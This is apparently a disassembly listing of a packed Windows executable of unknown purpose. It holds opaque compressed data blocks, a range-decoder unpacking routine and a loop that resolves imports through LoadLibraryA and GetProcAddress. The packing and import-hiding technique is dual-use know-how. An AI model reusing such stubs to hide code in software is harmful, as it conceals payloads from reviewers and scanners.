		dd 0D348A081h, 0D072325Ch, 0ACF1CBCAh, 0F10D33EEh, 5F7A6CEEh
		dd 9BF7CC3Dh, 5E158ACCh, 8115E1EFh, 2D8467E1h, 94A509BFh
		dd 0BA3DB9ACh, 0CC5FD193h, 8468959Eh, 7EADA356h, 4E58EC04h
		dd 3B3694CFh, 2A02F629h, 7F592A1Eh, 45A71177h, 0AD89FB47h
		dd 0CB5BB6E1h, 0BC87CE01h, 36F903D1h, 46DF6B86h, 16100CEFh
		dd 2772BA32h, 7C997482h, 982A7C8Bh, 1B6ABBF6h, 83087B91h
		dd 6871A9F5h, 5771CAEBh, 4E79E3E2h, 0B0EF899Bh,	2112C3FDh
		dd 6C57A5A4h, 15AF2BD9h, 822DB2ABh, 21F5D7BFh, 96718A53h
		dd 5C4A4334h, 7BA9BC0Bh, 0CDC7AFF7h, 72637F9Bh,	0A0E91227h
		dd 987F7Eh, 0E7076FDAh,	0FA782621h, 0FD8664E8h,	0D93831E0h
		dd 0E137F49Eh, 0FA7EC391h, 33D6CA3Ch, 0BD57FA31h, 91F9D6BBh
		dd 92A6F394h, 58ACCA4h,	9B266C94h, 70AA6C6Dh, 405BECBEh
		dd 666C072h, 8F053862h,	66C18ED3h, 33464EA0h, 0F0C8661Dh
		dd 4B02FFAFh, 8064B7E8h, 0CAC04700h, 0C569944Dh, 0D4DD70E7h
		dd 18AB6EA4h, 553A719Ch, 64628778h, 811275DBh, 5D37A6Bh
		dd 0BA955704h, 0E2F00E64h, 0C0129F02h, 8B825770h, 62F9987Ch
		dd 0F5B86627h, 0ECE02329h, 4F31BE7Eh, 0A8C8D82Dh, 6CA8B34Ch
		dd 0D05D5FB3h, 55B151F2h, 1135E46Eh, 9A2B9171h,	460A9778h
		dd 0A8A50132h, 0EF767AFEh, 0D08890F3h, 70F54F24h, 0C409139Ah
		dd 922D822Dh, 822EEAB2h, 5038EB98h, 423E5CD6h, 0C9A5F64Fh
		dd 0AE3B9AA0h, 618E2024h, 2A81706h, 48D1F2B8h, 4854E425h
		dd 40DA0768h, 0F37F063Fh, 1CD214B6h, 1DAC65ECh,	0C411667Eh
		dd 5A1B8570h, 20BE066Fh, 0CB59D0CCh, 0D2DAA690h, 0B6E46548h
		dd 1B45B591h, 8C19511h,	4670F765h, 0D39E91A4h, 4D60F405h
		dd 68149CE8h, 8CFF1161h, 0A84C47ADh, 9B33DF68h,	1DA1C88Bh
		dd 0B3CFD6B9h, 0EB60CE14h, 76FF61A5h, 0A705E305h, 0DCEFCA8Fh
		dd 2FF7EC1Bh, 62B7AF46h, 0A500F0F6h, 509E4E20h,	7DABFF9Fh
		dd 2F84A587h, 0C5A714AEh, 7AEB336Bh, 9EFFD6E2h,	4C31BC99h
		dd 351BEE38h, 56CA8499h, 6086B030h, 2E8208BDh, 32FDEB53h
		dd 4E41DB63h, 0E1F3FB9Bh, 0F9B6DF1Bh, 6E0686C4h, 564DCD9Eh
		dd 0A69F6E22h, 4535FB02h, 6BEE03Eh, 7CA8AB12h, 0BF084235h
		dd 3CFA5940h, 463914A8h, 4B409687h, 0F8016CDCh,	4BEF4CC2h
		dd 7D7292B2h, 0E984FD39h, 0DA046E15h, 6907B9F9h, 0B3F781ABh
		dd 0AAAAB8ACh, 0CC034A1Ah, 0B6C01DBh, 8453AD3Ah, 0D22FA512h
		dd 779979E8h, 0FAE3C1CCh, 104E37F9h, 9F281626h,	0B56F83B4h
		dd 0E74BBF5Dh, 0BDD052F6h, 6E9682C6h, 3E4DC09h,	6D0F720Dh
		dd 9660D1FEh, 69CEA79Ch, 0D4F42CB2h, 0A99B3078h, 0B533DDBBh
		dd 16411481h, 61F34ACh,	0C20B2FF4h, 49F1E1D1h, 0A993E74Ch
		dd 0BA8DAA03h, 5A48C675h, 0ADC5F46Fh, 6D8EB9EBh, 71AF0A9Ah
		dd 872F8915h, 0A0C88127h, 0A8E514EBh, 0EB49ECD7h, 0BF592D7Bh
		dd 0C7843432h, 50AD005Fh, 940A661Ah, 40372491h,	68E44DCDh
		dd 1819F0EFh, 8D740814h, 0BD28383Eh, 0D4D5B503h, 0D7DE964h
		dd 0FB76C721h, 7CEAB0BDh, 9ADF7A4Bh, 0A4ED946Fh, 188A77E2h
		dd 0FA06195Ch, 872A2766h, 44FF9A3Ch, 6D84FA0Ah,	0D586F352h
		dd 8731ECBFh, 44BDAFBDh, 0BCC9625h, 0FA51B502h,	0EB1DF7DDh
		dd 861BB035h, 482AE3D8h, 0E440D1D0h, 0D1A2C400h, 10C8F3FEh
		dd 0E6FD1E24h, 0D5070BFFh, 62B1377Eh, 48F71CB0h, 0CE053FDCh
		dd 3C260B97h, 42C3048h,	71B7015Ch, 89EDA187h, 75842C4Eh
		dd 13B633Ah, 209EFEBDh,	0EF1616FDh, 0C571AB55h,	2185354Dh
		dd 0FBA4BAAEh, 4D6520FAh, 58C797EAh, 7201514Fh,	6B4AF72Fh
		dd 0FC37068Dh, 648D2470h, 4E3E709Ch, 1FE6208h, 7FA9F52Dh
		dd 0AD1D3D89h, 6DA11949h, 0A6AB6FF4h, 0B0349DA1h, 0B8EBA844h
		dd 77C84B36h, 405FCAF3h, 22159937h, 0F96CC5B8h,	7F5E490h
		dd 1EF7FA04h, 0E41D7A96h, 6E6103D2h, 99B7B8ABh,	1226D603h
		dd 86F3C096h, 0BE69795Eh, 0D26149C9h, 4A251527h, 62B5E3E0h
		dd 0EA468EFFh, 3487B376h, 0B86D08C2h, 19825F16h, 7F6F7BB3h
		dd 5EF87878h, 0AE2D6822h
		dd 275C315Dh, 877A4E9Dh, 0FB34CD5Ch, 0F0720705h, 0DAF5C051h
		dd 704263FCh, 0F1034CAEh, 0A6B61BC4h, 874281A0h, 0C06BFFDCh
		dd 0C21A7899h, 9332B1D9h, 0E85A4B7Dh, 0D5CEF704h, 12067C10h
		dd 1144CB67h, 21407A6Fh, 0F2239FB3h, 6D41274Fh,	0BE5DA82Fh
		dd 2172DCEFh, 659D720Ch, 0E2E36AF6h, 0E8D9548h,	7D97BB1Fh
		dd 0C2DB4358h, 1358F09h, 0D37322EDh, 4FFDE99Fh,	72699624h
		dd 537E5C59h, 0B947D64Dh, 9BAA4490h, 2F49ADE2h,	1B0EBFF4h
		dd 1DF64B13h, 32A56D2h,	5CF3F6F7h, 4A5D2840h, 257118E5h
		dd 2FC6177h, 0F69D7C1Eh, 0E918C83Eh, 0A3467651h, 2CD2830Eh
		dd 8D9F73C0h, 0E31711DAh, 5ECB4799h, 0EE86F13Eh, 369F049Eh
		dd 0C22FA041h, 8C16BA38h, 0AC936AA3h, 24CEFB47h, 0E8D6B8B1h
		dd 0B2D36682h, 0D85FE33Eh, 0AA305B18h, 0A6E54C9Ah, 0F6A3CD2Bh
		dd 181D354Ah, 9E2ADEE5h, 9982FC3Eh, 0B25602C1h,	92F2B96Fh
		dd 0ED3C14Bh, 8DCF7704h, 0F71D1254h, 0BD20E6C5h, 0FC64C1A5h
		dd 3979C964h, 2EC10671h, 15566052h, 0F7AC4D05h,	52FC2DC7h
		dd 19B1C6EBh, 9CE27692h, 9D31E146h, 75850F81h, 0AD567AC9h
		dd 8945BF30h, 0EDB5CD33h, 6D7AFCFDh, 28714841h,	249E6D87h
		dd 0C531CE1Dh, 8AEC1373h, 0E408DB9Dh, 0EAE76BBFh, 60222B99h
		dd 0BB20AB02h, 0BC4A06D0h, 0FE9F3641h, 0FA1425BCh, 2F798F44h
		dd 9E1A796Eh, 0EAD252D1h, 6BE4780h, 0C714B943h,	6FB9E0CCh
		dd 0E31C7182h, 3CE271C9h, 0DB86416Bh, 7FF712A6h, 0FF13DBB3h
		dd 5B67DBE2h, 36372FEh,	1156A4D1h, 0C0317076h, 4E3E9B8Ah
		dd 6A9AEEF0h, 173B6134h, 7F053BE8h, 7C042E88h, 3FB00DC1h
		dd 55072CFAh, 85A87049h, 7305CE7Ah, 30A5FA81h, 0ACF83A15h
		dd 0C960C49Ch, 0AC9FDDD1h, 75CD3845h, 1B450ED4h, 48FD0E2Bh
		dd 0C1D2D518h, 9B8F1EC1h, 0AE5F3058h, 6A781F47h, 69B91728h
		dd 30C8EB1Ch, 9CFA6C89h, 0DF3515C9h, 6B62F168h,	14A7AA54h
		dd 0B3A9213Fh, 0B8E944AAh, 34B84BBEh, 0C5D3A5C4h, 9E74A025h
		dd 4278DF2Ch, 468BB4F6h, 83AB427Fh, 0F16B60BCh,	4BF71594h
		dd 5F0277CFh, 68E2F844h, 5816955Ch, 7F5FF300h, 579BDE4Ah
		dd 4DD9CA73h, 0BB4E9E37h, 748FFCB1h, 0EFF2B88Eh, 5DCF9731h
		dd 139529BBh, 42B78E22h, 86C0A590h, 0F90A7E8Fh,	409E5D08h
		dd 0DD3C385Bh, 9E0F0C0Ah, 0F5B934D0h, 80B5A42Dh, 0CD0E632Bh
		dd 0C9303C1Eh, 0A5D0A60Ah, 36D14710h, 659F9F28h, 24DB969h
		dd 0B171E60Dh, 1C7B8FF1h, 9152E794h, 7A0007A1h,	31808773h
		dd 2188CBF1h, 2A79323Bh, 0BA7D1951h, 0E843922h,	324FB8D2h
		dd 0B1BA0CB7h, 0C1A48B72h, 1BAE4139h, 0B0118A69h, 987A6810h
		dd 4D44E327h, 1DD038D8h, 0CA635DC9h, 611DB480h,	719C4FC6h
		dd 0A217F8FAh, 5CA18F6Eh, 6E8C4688h, 8B364F79h,	322F586Ch
		dd 39CA0F23h, 6EA66CC2h, 0F49D3FCBh, 1ECF9C19h,	0C0866A67h
		dd 1DA88E0Ah, 84741249h, 9DE50E40h, 0B6919D9Ch,	0E0C710D5h
		dd 5028640Bh, 1C4C6C04h, 3BF01F31h, 28B5899Ah, 0CDA8E760h
		dd 0A751E34Ch, 0C392D742h, 549E7509h, 0A6104731h, 0BE4FB9ADh
		dd 0FC2CDD5Ah, 1A792098h, 759E5F4Ah, 0B9324B23h, 0C0386D67h
		dd 39DDE4EFh, 4D10F86Ch, 2976FA3Ah, 0D4052FD2h,	20C13C82h
		dd 37A0ECA3h, 0D22C6C54h, 0A57C11B5h, 211CA73h,	0E3BC7C49h
		dd 9574A0ADh, 2EC1F65Eh, 99B68B87h, 0BE4684F7h,	696F1519h
		dd 0FB0BCB40h, 37689192h, 8BA632FDh, 7AB641F2h,	7797F2C2h
		dd 8C4D6728h, 0A6A53524h, 0B73DCDADh, 9DA89BE3h, 0CBEC9AABh
		dd 767242E2h, 0D06D67C5h, 0A6889491h, 0AFBBCBE5h, 9D043CE5h
		dd 0AC5F4E7Dh, 2D014ADDh, 2A3BFF34h, 0D8FB546Fh, 0B7D921B4h
		dd 8595F6BAh, 0C00CF755h, 14762380h, 0F511983Ah, 818495A0h
		dd 5930ED9Bh, 3A699091h, 0B6F734A1h, 99776146h,	0C98ED4B1h
		dd 0FF89A016h, 9B713475h, 0C98F65BBh, 1AF35E6Bh, 0DC64C0E8h
		dd 14A7AAA4h, 22B1430Eh, 1E90D2BBh, 0B79BC2FAh,	4A49FDC6h
		dd 67C15CEDh, 0E2478B0Bh, 4F10D04Fh, 0BEC84A95h, 3312B4EBh
		dd 817C96C3h, 7F1B7887h, 5922D49Eh, 94A33D5Bh, 1DA87A58h
		dd 0E9898833h, 0E9648573h, 27403ED0h, 0D4B5BFBCh, 0F64C77Fh
		dd 7BE405DBh, 0B2B82E94h, 3E425D4Ch, 727BF839h,	6EF6ABBCh
		dd 4764A05Ah, 0E03122E4h, 0FC787665h, 0EDD2E8CEh, 7F9ABAD5h
		dd 0F86E9BFEh, 0BD9E9761h, 0AB8292ACh, 1D7FEDF2h, 514EEB38h
		dd 30079A82h, 8B1CBA82h, 44D406C8h, 4755B622h, 0D9E5DE8Fh
		dd 69B5D552h, 6C5C6D7Ah, 7355A2B6h, 0BB4FEDE4h,	0F537B3FCh
		dd 0B910D95Bh, 8EB24798h, 472B042Ah, 0B4CD8E8Bh, 0C27AA880h
		dd 9337A07Ch, 85D91291h, 0E7A1471Ah, 0B746EBA5h, 47A0E42Ch
		dd 7D13567Bh, 39172921h, 0DBA55B82h, 36CF49Fh, 0C550B4C6h
		dd 0FA2226EAh, 1363DBDAh, 843B8C48h, 93A8B640h,	20AA9514h
		dd 2658BA71h, 40C44494h, 0C949B8A5h, 3F67E38Dh,	92BCB313h
		dd 0A8CD2AAh, 2C474EBFh, 7506D089h, 7CA7E207h, 13A3279Ch
		dd 15A55D9Dh, 0F6818042h, 0DEBA255Dh, 0DDAD712Ah, 0D9949E05h
		dd 0F4ABAA94h, 83E34194h, 849536F5h, 0E03FD83Fh, 0BA1203F9h
		dd 0D6443467h, 18A107F5h, 2342AF36h, 7FF42447h,	0A4D458FDh
		dd 0DE116E9Ah, 5F5890E9h, 5ACECFADh, 9BDF875h, 1AB40F7Ah
		dd 0C7872AE5h, 0A52A33E5h, 5088F34Fh, 0A4A3D2B2h, 0C4DDABDCh
		dd 3F9565D0h, 1096FC02h, 968FD4D9h, 9797A8AFh, 0C0E1BE77h
		dd 96FE68A9h, 0FFD72BEDh, 0E61565D2h, 617FFF68h, 8A57D195h
		dd 55F1055Ch, 0B093D312h, 81A063B1h, 0FB24FD37h, 0BF8ADC14h
		dd 3ABFD606h, 0E39CD5ABh, 6957667Bh, 7C4ABE53h,	294D1C9h
		dd 8D39662Bh, 6F9E4FB3h, 0CA501E0Bh, 0F802479h,	26982F56h
		dd 0A9EB282Eh, 0E07007BFh, 50053C7Ah, 89044EFBh, 0B8574B20h
		dd 341048B4h, 4147F18Bh, 970A6FBh, 4C6268CBh, 0C403B4A0h
		dd 78D3CE6Bh, 0DA8899D5h, 0B27F6498h, 0F1335C22h, 0E1E10619h
		dd 0D58F69AEh, 19DE3114h, 304B3DA7h, 8F7E3C09h,	4DE04E6Dh
		dd 1763D7EAh, 0ABEF412Eh, 4B8D4C20h, 0BA8C4F3h,	184846E8h
		dd 0D6924073h, 0C4E7EAFDh, 0D4EC9330h, 3F7A3DCDh, 112C8FDFh
		dd 0DAB7E901h, 0D6935BE4h, 685E0DA6h, 0DE4B0007h, 3BCFDCDAh
		dd 0F930B3ABh, 0DC4043C2h, 1A01B497h, 9FE4F871h, 40F4138Fh
		dd 7F012353h, 0A60A950Ah, 0DC153ABBh, 0B82709FFh, 0CCC2B25Ah
		dd 5193EF35h, 27F5597Ah, 37D38F2Bh, 7BEC4650h, 0EFBDA5Ah
		dd 0B4E2A5E6h, 8BEB20E3h, 376FB8E5h, 0ECE21F87h, 72EC3CA9h
		dd 69F13100h, 0B0D38A07h, 0AF49DB4Fh, 7E0DBCD2h, 60DD191Eh
		dd 1F94367Bh, 4C7FB4FBh, 76D49092h, 6BF91C3Ah, 4EAB570h
		dd 0E942FF57h, 6F7A6457h, 2E5A567Ah, 8697B6C3h,	1D07A2EDh
		dd 15367665h, 0CD558AB5h, 94CAA702h, 8361F692h,	0E17E772Dh
		dd 48501AE4h, 0D16B679Fh, 0B3AFFE7Eh, 7B038703h, 0FB6CA161h
		dd 47444FEBh, 2BD4266Eh, 3FAB531Ch, 14141D89h, 98398662h
		dd 0C6421B7Eh, 7B932DA5h, 749EB865h, 0EE291DB4h, 3F65D1Dh
		dd 5356AB2Dh, 0CE3492A9h, 32D9014Ah, 0A87048B2h, 7231BBAFh
		dd 7BA10591h, 0D6DBDC61h, 0C9C82A4Bh, 54A091C2h, 0C310F71Bh
		dd 21D53241h, 0B4047630h, 7B132487h, 0AF989292h, 0F8E82252h
		dd 0A3E7D915h, 0C97A9177h, 0FD492F5Bh, 4B0A58F4h, 0D803536Fh
		dd 586DE885h, 0F5FBF58Bh, 94B47CC4h, 0CAA51B3Eh, 2CD5EFh
		dd 0B340C3D6h, 290A8FCEh
		dd 45F6A895h, 29F89601h, 0F74CB982h, 0D10EC44Ch, 0F2285872h
		dd 878E7F43h, 43E5EA10h, 46B20330h, 62BF2160h, 359C039Dh
		dd 0D0619D48h, 4BB322A3h, 0E27594E0h, 5A412F25h, 4A34DA78h
		dd 753C2DB7h, 6C5ECACEh, 819E7CD0h, 1ACC7095h, 47650217h
		dd 0C96DDD11h, 2BFF2BCAh, 2285884h, 0ED509883h,	2CC514CAh
		dd 0AA9A0655h, 8D02BCCAh, 0C43F4F38h, 3CAFB438h, 4D7A2F01h
		dd 0B178D806h, 0D990E878h, 7819DC10h, 0BA4CB013h, 24B11BA8h
		dd 0C18A2D27h, 0CF90331Fh, 1B117972h, 0B665DAA4h, 0D940CE71h
		dd 0B0E7CD54h, 0C014C601h, 925F0D3Ch, 448691A4h, 0E847DA31h
		dd 3092DD0Ch, 0A1AF04h,	0C79FE066h, 4CB65310h, 28F7DAFAh
		dd 655DBF5Fh, 75A9265h,	4A0B91F8h, 0E4FA904Fh, 49DC2B9Fh
		dd 0A01C7191h, 0A7FC0A0Ch, 0DBF8F7CAh, 9D52C4F5h, 484A8822h
		dd 617B3785h, 0B795EDD0h
		db 73h,	0D7h, 70h

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		mov	ebp, offset off_3DF408
		mov	dword ptr [ebp+0], 3D00D4h
		dec	dword ptr [ebp+8]
		mov	byte ptr [ebp+0Ch], 5
		lea	edi, [ebp+14h]
		xor	eax, eax
		mov	ah, 4
		mov	ecx, eax
		rep stosd
		mov	edi, offset loc_3EB1B6
		push	edi
		mov	esi, offset sub_3DF1EC

loc_3DF124:				; CODE XREF: start+4Aj
		xor	ecx, ecx
		inc	ecx
		dec	dword ptr [ebp+0Ch]

loc_3DF12A:				; CODE XREF: start+3Aj
		lea	ebx, [ebp+ecx*4+0A0h]
		call	esi ; sub_3DF1EC
		adc	cl, cl
		jnb	short loc_3DF12A
		inc	dword ptr [ebp+0Ch]
		xchg	eax, ecx
		stosb
		or	ecx, 0FFFFFFFFh

loc_3DF13F:				; CODE XREF: start+B2j
		lea	ebx, [ebp+ecx*4+18h]
		call	esi ; sub_3DF1EC
		jz	short loc_3DF124
		jecxz	short loc_3DF160
		lea	ebx, [ebp+1Ch]
		call	esi ; sub_3DF1EC
		jz	short loc_3DF160
		lea	ebx, [ebp+8A0h]
		call	sub_3DF247
		mov	eax, [ebp+10h]
		jmp	short loc_3DF1A2
; ---------------------------------------------------------------------------

loc_3DF160:				; CODE XREF: start+4Cj	start+53j
		lea	ebx, [ebp+4A0h]
		call	sub_3DF247
		dec	ecx
		dec	ecx
		js	short loc_3DF1AF
		lea	ebx, [ebp+20h]
		jz	short loc_3DF177
		add	ebx, 40h

loc_3DF177:				; CODE XREF: start+77j
		xor	edx, edx
		inc	edx

loc_3DF17A:				; CODE XREF: start+8Aj
		call	sub_3DF23D
		lea	ecx, [eax+ecx*2]
		test	dl, 10h
		jz	short loc_3DF17A
		inc	ecx
		xchg	eax, ecx
		lea	ebx, [ebp+8A0h]
		call	sub_3DF247
		cmp	eax, 800h
		sbb	ecx, 0FFFFFFFFh
		cmp	eax, 60h
		sbb	ecx, 0FFFFFFFFh

loc_3DF1A2:				; CODE XREF: start+63j
		mov	[ebp+10h], eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_3DF13F
; ---------------------------------------------------------------------------

loc_3DF1AF:				; CODE XREF: start+72j
		mov	esi, offset byte_3EB50F
		mov	ebx, offset LoadLibraryA
		push	ebp

loc_3DF1BA:				; CODE XREF: start+D5j
		inc	esi
		lodsd
		test	eax, eax
		jz	short loc_3DF1EA
		xchg	eax, edi
		push	esi
		call	dword ptr [ebx]
		test	eax, eax
		jz	short loc_3DF1DE
		xchg	eax, ebp

loc_3DF1C9:				; CODE XREF: start+D1j	start+E1j
		lodsb
		test	al, al
		jnz	short loc_3DF1C9
		cmp	[esi], al
		jz	short loc_3DF1BA
		js	short loc_3DF1E2
		push	esi

loc_3DF1D5:				; CODE XREF: start+EDj
		push	ebp
		call	dword ptr [ebx+4]
		stosd
		test	eax, eax
		jnz	short loc_3DF1C9

loc_3DF1DE:				; CODE XREF: start+CBj
		inc	eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_3DF1E2:				; CODE XREF: start+D7j
		inc	esi
		xor	eax, eax
		lodsw
		push	eax
		jmp	short loc_3DF1D5
; ---------------------------------------------------------------------------

loc_3DF1EA:				; CODE XREF: start+C3j
		pop	ebp
		retn
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_3DF1EC	proc near		; CODE XREF: start+36p	start+48p ...
		push	ecx
		mov	eax, [ebp+8]
		shr	eax, 0Bh
		mov	ecx, [ebp+0]
		imul	eax, [ebx]
		mov	ecx, [ecx]
		bswap	ecx
		sub	ecx, [ebp+4]
		cmp	eax, ecx
		mov	ecx, [ebp+0Ch]
		jbe	short loc_3DF218
		mov	[ebp+8], eax
		xor	eax, eax
		mov	ah, 8
		sub	eax, [ebx]
		shr	eax, cl
		add	[ebx], eax
		xor	eax, eax
		jmp	short loc_3DF227
; ---------------------------------------------------------------------------

loc_3DF218:				; CODE XREF: sub_3DF1EC+19j
		add	[ebp+4], eax
		sub	[ebp+8], eax
		mov	eax, [ebx]
		shr	eax, cl
		sub	[ebx], eax
		or	eax, 0FFFFFFFFh

loc_3DF227:				; CODE XREF: sub_3DF1EC+2Aj
		test	byte ptr [ebp+0Bh], 0FFh
		jnz	short loc_3DF238
		inc	dword ptr [ebp+0]
		shl	dword ptr [ebp+8], 8
		shl	dword ptr [ebp+4], 8

loc_3DF238:				; CODE XREF: sub_3DF1EC+3Fj
		shr	eax, 1Fh
		pop	ecx
		retn
sub_3DF1EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_3DF23D	proc near		; CODE XREF: start:loc_3DF17Ap
					; sub_3DF247:loc_3DF24Dp ...
		push	ebx
		lea	ebx, [ebx+edx*4]
		call	esi ; sub_3DF1EC
		pop	ebx
		adc	dl, dl
		retn
sub_3DF23D	endp


; =============== S U B	R O U T	I N E =======================================



sub_3DF247	proc near		; CODE XREF: start+5Bp	start+6Bp ...
		push	eax
		xor	ecx, ecx
		inc	ecx
		mov	edx, ecx

loc_3DF24D:				; CODE XREF: sub_3DF247+16j
		call	sub_3DF23D
		call	sub_3DF23D
		lea	ecx, [eax+ecx*2]
		test	dl, 2
		jnz	short loc_3DF24D
		pop	eax
		retn
sub_3DF247	endp

BrattyUS	ends

;
; Imports from KERNEL32.DLL
;
; ===========================================================================

; Segment type:	Externs
; _idata
; HMODULE __stdcall LoadLibraryA(LPCSTR	lpLibFileName)
		extrn LoadLibraryA:dword ; DATA	XREF: start+B9o
; FARPROC __stdcall GetProcAddress(HMODULE hModule,LPCSTR lpProcName)
		extrn GetProcAddress:dword


; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
BrattyUS	segment	para public 'CODE' use32
		assume cs:BrattyUS
		;org 3DF26Dh
		assume es:nothing, ss:nothing, ds:BrattyUS, fs:nothing,	gs:nothing
		db 85h,	0F2h, 0
		dd 0F29300h, 0
		dd 52454B00h, 334C454Eh, 4C442E32h, 4C00004Ch, 4C64616Fh
		dd 61726269h, 417972h, 74654700h, 636F7250h, 72646441h
		dd 737365h, 0F26D00h, 2	dup(0)
		dd 0F27900h, 0F26100h, 54h dup(0)
off_3DF408	dd offset word_3F77DE	; DATA XREF: starto
		dd offset dword_3F7968
		dd offset word_3F79FE
		dd offset byte_3F8013
		dd offset byte_3F8047
		dd offset word_3F82C6
		dd offset byte_3F8355
		dd offset byte_3F8381
		dd offset byte_3F83FF
		dd offset byte_3F8661
		dd offset byte_3F8D2F
		dd offset byte_3F8DBB
		dd offset byte_3FD84B
		dd offset a______z__A__bX ; "......Z..\\..X..&Ѡ"...
		dd offset byte_3FF7EC
		dd offset dword_3FFDBC
		dd offset byte_3FFE07
		dd offset byte_3FFE6F
		dd offset word_4008FA
		dd offset word_400AEA
		dd offset loc_400B84
		dd offset sub_401000
		dd offset sub_400FFC
		dd 2ED2EE97h, 2	dup(0)
		dd 77h,	0
		dd 2E2DFA09h, 9DCh, 11A9h, 14FFh, 1626h, 1747h,	17CEh
		dd 187Dh, 1A00h, 1D02h,	1D5Ch, 1DDCh, 21E2h, 239Dh, 0D1BBF6CBh
		dd 2B75h, 2BEFh, 2D73h,	2DB9h, 2DE0h, 2EE4h, 37B9h, 2E2EEEF3h
		dd 2E2EC574h, 3CE9h, 3D39h, 50D9D2F4h, 3F99h, 2E26B079h
		dd 444Eh, 4632h, 466Dh,	46EFh, 4718h, 4A4Fh, 3EACB23Ah
		dd 0E2892011h, 5062h, 5A892520h, 562Ah,	5D25h, 60E3h, 6899h
		dd 6BC0h, 6F26h, 75A5h,	7696h, 58D2495Eh, 7A3Fh, 7A81h
		dd 8CC6h, 938Eh, 522EC205h, 945B712Dh, 9689h, 945B72AFh
		dd 980Bh, 945B7402h, 5AD26FA4h,	5B2ECE2Dh, 592ECE33h, 0A2FDh
		dd 0A5CEh, 0A74Fh, 0A9F2h, 0AA25h, 5AD27EB7h, 0B390h, 0B8D8h
		dd 0B926h, 0C0F8h, 0C1A5h, 0C25Fh, 0C62Bh, 0C682h, 0CB89h
		dd 0CC43h, 0CD14h, 0D142h, 2EAA2815h, 0A4A43027h, 0D82Dh
		dd 0E194h, 0F3A0h, 0F3E4h, 1553386Dh, 155338EAh, 15533903h
		dd 10C8Eh, 10CB8h, 10E0Ch, 10EB1h, 119BCh, 11C9Ch, 901DE6CEh
		dd 1553F39Fh, 123A0h, 125D2h, 1263Ch, 12664h, 1271Ah, 12910h
		dd 129B3h, 12E44h, 12EA7h, 12EACh, 12EBCh, 12F9Ch, 131A4h
		dd 133FBh, 13A5Ah, 13E0Bh, 13EFBh, 14BFDh, 14FCDh, 15688h
		dd 158BEh, 259h, 2A3h, 2B2h, 141h, 1A7h, 3A1h, 220h, 516h
		dd 162h, 0D3h, 288h, 477h, 1BAh, 168h, 5EEh, 488h, 32Eh
		dd 342h, 2CFh, 2FCh, 310h, 160h, 4DEh, 41Fh, 510h, 2AAh
		dd 549h, 2FFh, 22Bh, 3BDh, 237h, 41Ah, 335h, 3E6h, 2B5h
		dd 480h, 35Dh, 3D3h, 437h, 456h, 2ABh, 3BEh, 494h, 3FAh
		dd 30Ch, 4CBh, 5A8h, 412h, 410h, 2A3h, 337h, 640h, 46Bh
		dd 37Bh, 4A2h, 31Bh, 447h, 42Ah, 23Fh, 1FEh, 2DCh, 50Bh
		dd 3E0h, 30Dh, 2D6h, 3EBh, 35Ch, 5A9h, 3B4h, 5B5h, 1C5h
		dd 47Ch, 29Dh, 406h, 353h, 203h, 25Ch, 511h, 18Fh, 44Fh
		dd 2DCh, 3DCh, 516h, 274h, 31Ah, 366h, 2D5h, 481h, 3F0h
		dd 34Dh, 560h, 136h, 393h, 349h, 485h, 539h, 1Ah, 41Ch
		dd 4D5h, 485h, 199h, 2F9h, 558h, 369h, 31Bh, 430h, 399h
		dd 37Eh, 2CCh, 3CFh, 192h, 3B7h, 25h, 465h, 1C1h, 40Bh
		dd 106h, 4BCh, 235h, 363h, 0E1h, 4DDh, 3AFh, 107h, 362h
		dd 2B5h, 39Bh, 5DBh, 6AFh, 1EEh, 5E9h, 46Dh, 5BCh, 4E0h
		dd 2A0h, 5D2h, 89h, 3EBC4Bh, 3EBC4Ch, 3EBC4Dh, 3EBC4Eh
		dd 3EBC50h, 3EBC51h, 3EBC52h, 3EBC53h, 3EBC54h,	3EBC55h
		dd 3EBC56h, 3EBC57h, 3EBC59h, 3EBC5Ah, 3EBC5Bh,	3EBC5Dh
		dd 3EBC5Eh, 3EBC5Fh, 3EBC60h, 3EBC61h, 3EBC63h,	3EBC64h
		dd 3EBC65h, 3EBC67h, 3EBC69h, 3EBC6Ah, 3EBC6Bh,	3EBC6Ch
		dd 3EBC6Dh, 3EBC6Eh, 3EBC6Fh, 3EBC70h, 3EBC72h,	3EBC73h
		dd 3EBC74h, 3EBC76h, 3EBC77h, 3EBC79h, 3EBC7Bh,	3EBC7Dh
		dd 3EBC7Eh, 3EBC80h, 3EBC82h, 3EBC83h, 3EBC84h,	3EBC85h
		dd 3EBC86h, 3EBC88h, 3EBC89h, 3EBC8Ah, 3EBC8Ch,	3EBC8Dh
		dd 3EBC8Fh, 3EBC91h, 3EBC92h, 3EBC94h, 3EBC96h,	3EBC97h
		dd 3EBC98h, 3EBC9Ah, 3EBC9Bh, 3EBC9Ch, 3EBC9Dh,	3EBC9Eh
		dd 3EBCA0h, 3EBCA2h, 3EBCA3h, 3EBCA4h, 3EBCA5h,	3EBCA6h
		dd 3EBCA8h, 3EBCAAh, 3EBCACh, 3EBCAEh, 3EBCB0h,	3EBCB2h
		dd 3EBCB4h, 3EBCB5h, 3EBCB7h, 3EBCB9h, 3EBCBAh,	3EBCBBh
		dd 3EBCBCh, 3EBCBDh, 3EBCBFh, 3EBCC1h, 3EBCC2h,	3EBCC4h
		dd 3EBCC6h, 3EBCC8h, 3EBCCAh, 3EBCCCh, 3EBCCEh,	3EBCD0h
		dd 3EBCD2h, 3EBCD3h, 3EBCD5h, 3EBCD7h, 3EBCD8h,	3EBCD9h
		dd 3EBCDAh, 3EBCDBh, 3EBCDDh, 3EBCDEh, 3EBCE0h,	3EBCE1h
		dd 3EBCE2h, 3EBCE3h, 3EBCE4h, 3EBCE5h, 3EBCE6h,	3EBCE8h
		dd 3EBCEAh, 3EBCEBh, 3EBCECh, 3EBCEEh, 3EBCEFh,	3EBCF0h
		dd 3EBCF1h, 3EBCF2h, 3EBCF3h, 3EBCF5h, 3EBCF7h,	3EBCF9h
		dd 3EBCFAh, 3EBCFBh, 3EBCFDh, 3EBCFEh, 3EBD00h,	3EBD01h
		dd 3EBD02h, 3EBD03h, 3EBD05h, 3EBD06h, 3EBD08h,	3EBD0Ah
		dd 3EBD0Ch, 3EBD0Eh, 3EBD10h, 3EBD12h, 3EBD14h,	3EBD15h
